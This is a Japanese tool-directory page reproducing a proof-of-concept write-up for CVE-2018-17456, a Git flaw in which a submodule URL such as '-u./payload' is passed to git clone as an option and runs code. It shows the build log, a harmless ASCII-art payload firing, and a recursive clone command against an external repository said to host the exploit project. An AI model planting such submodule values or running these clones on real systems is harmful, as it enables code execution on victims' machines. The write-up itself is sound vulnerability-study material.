Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-17456 — CVE-2018-17456脆弱性再現(PoC+Exp) | Kitploit
ツール/GitHubGitHub/anonymking/cve-2018-17456
脆弱性分析コード分析エクスプロイトサプライチェーンセキュリティ学習と教育バイナリエクスプロイト
GitHubanonymking/cve-2018-17456

CVE-2018-17456

CVE-2018-17456脆弱性再現(PoC+Exp)

リポジトリを見る
57年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-17456

脆弱性の概要

  • 脆弱性名: Git入力検証エラー脆弱性
  • CNNVD番号:CNNVD-201810-234
  • 危険度:極めて危険
  • CVE番号:CVE-2018-17456
  • 脆弱性タイプ:入力検証エラー
  • 公開日:2018-10-08
  • 脅威タイプ:リモート
  • 更新日:2019-04-25
  • ベンダー:debian
  • 脆弱性情報源:Atlassian、TerryZh...
  • 脆弱性概要: Gitは無料のオープンソース分散バージョン管理システムです。Gitに入力検証エラーの脆弱性が存在します。この脆弱性は、ネットワークシステムまたは製品が入力データを適切に検証しないことに起因します。以下のバージョンが影響を受けます:Git 2.14.5より前のバージョン、2.15.3より前の2.15.xバージョン、2.16.5より前の2.16.xバージョン、2.17.2より前の2.17.xバージョン、2.18.1より前の2.18.xバージョン、2.19.1より前の2.19.xバージョン。

脆弱性の再現

  • GitHubのセキュリティ機構の問題により、悪意のあるプロジェクトをアップロードできないため、スクリプト build.sh を実行してローカルにこのプロジェクトを構築し、学習とテストを行うことができます。
  • 使用したGitのバージョンは git-2.12.1 です。
  • 手順と結果は以下の通りです:
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/Submodule/.git/
[master (root-commit) 5b1e97c] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/exploit:exploit'...
done.
[master (root-commit) ed1914d] CVE-2018-17456
 3 files changed, 6 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 exploit:exploit
 create mode 100755 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" des_dir



[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" test
Cloning into 'test'...
done.
Submodule 'exploit:exploit' (-u./payload) registered for path 'exploit:exploit'
Cloning into 'exploit'...


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./payload' into submodule path '/home/anonymking/Desktop/test/test/exploit:exploit' failed
Failed to clone 'exploit:exploit' a second time, aborting
  • payloadに仕込んだ悪意のあるコードは仏陀を出力するものです。したがって、仏陀が表示されればテスト成功です。この場所では実際には2回出力されます。サブプロジェクトのクローンが失敗したときにリトライが1回行われるためです。

参考資料

  • プロジェクト poc-submodule

予期せぬ発見

  • Coding上でこのプロジェクトを正常に構築できました —— CVE-2018-17456
  • 使用方法:
root@kitploit:~
git clone --recursive https://dev.tencent.com/u/anonymking/p/CVE-2018-17456/git test
  • また、類似の脆弱性を2つまとめて学習することをお勧めします: CVE-2017-1000117、CVE-2018-11235
ツールをダウンロード